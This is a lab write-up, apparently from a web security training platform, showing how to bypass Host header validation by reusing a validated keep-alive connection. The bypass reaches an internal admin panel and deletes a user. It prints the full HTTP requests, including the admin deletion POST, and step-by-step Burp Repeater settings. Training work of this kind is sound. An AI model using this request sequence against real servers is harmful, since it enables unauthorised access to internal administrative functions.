Lab6: Host validation bypass via connection state attack

The objective is to exploit incorrect Host header validation by reusing a previously validated HTTP connection to access the internal admin panel at 192.168.0.1/admin and delete the user carlos.

Solution:

I captured the homepage request and sent it to Burp Repeater.

GET / HTTP/1.1
Host: YOUR-LAB-ID.h1-web-security-academy.net

GET / HTTP/1.1
Host: YOUR-LAB-ID.h1-web-security-academy.net

I modified the request to access the internal admin panel:

When Host is that lab's URI it not works so i change it to 192.168.0.1

GET /admin HTTP/1.1
Host: 192.168.0.1

GET /admin HTTP/1.1
Host: 192.168.0.1

Observation: The server redirected me to the homepage instead of displaying the admin panel

This indicated that direct access using the internal IP was being restricted.

Configure Burp Repeater

To bypass the validation, I created two Repeater tabs:

Tab 1: Legitimate Host request.
Tab 2: Internal admin panel request.

I added both tabs to a new Repeater group.

Tab 1 — Establish a Valid Connection

GET / HTTP/1.1
Host: YOUR-LAB-ID.h1-web-security-academy.net
Connection: keep-alive

GET / HTTP/1.1
Host: YOUR-LAB-ID.h1-web-security-academy.net
Connection: keep-alive

Tab 2 — Access Internal Admin Panel

GET /admin HTTP/1.1
Host: 192.168.0.1

GET /admin HTTP/1.1
Host: 192.168.0.1

Repeater Configuration

Select the first tab.
Open the dropdown next to Send.
Select Send group in sequence (single connection).
Set the Connection header to keep-alive in the first request.
Send the sequence.

Observation: The first request established a connection using the legitimate Host header. The second request successfully accessed the internal admin panel using 192.168.0.1.

Extract Admin Delete Request Details

You can use below format:

In the second Repeater tab, I replaced the GET request with the following POST request.

POST /admin/delete HTTP/1.1
Host: 192.168.0.1
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

csrf=YOUR-CSRF-TOKEN&username=carlos

POST /admin/delete HTTP/1.1
Host: 192.168.0.1
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

csrf=YOUR-CSRF-TOKEN&username=carlos

OR use my previous lab methods:

Copy open response in browser

Then put there username carlos & do user delete then from history tab send this request to repeater and modify the Host name:

Now You can use a new GET request from history tab and make a new group & follow the previous steps & sends it in Send group in sequence (single connection)

The attack sequence was:

Send the legitimate homepage request.
Send the internal admin deletion request.

The second request reused the connection established by the first request.

Result: The internal admin panel processed the deletion request and deleted the user carlos.

The lab was successfully solved.

Key Takeaway

The vulnerability occurs because the front-end server incorrectly associates Host validation with the connection rather than independently validating each HTTP request.

Security Impact: An attacker may bypass Host header restrictions and access internal services, including administrative interfaces, potentially performing privileged actions.

Contents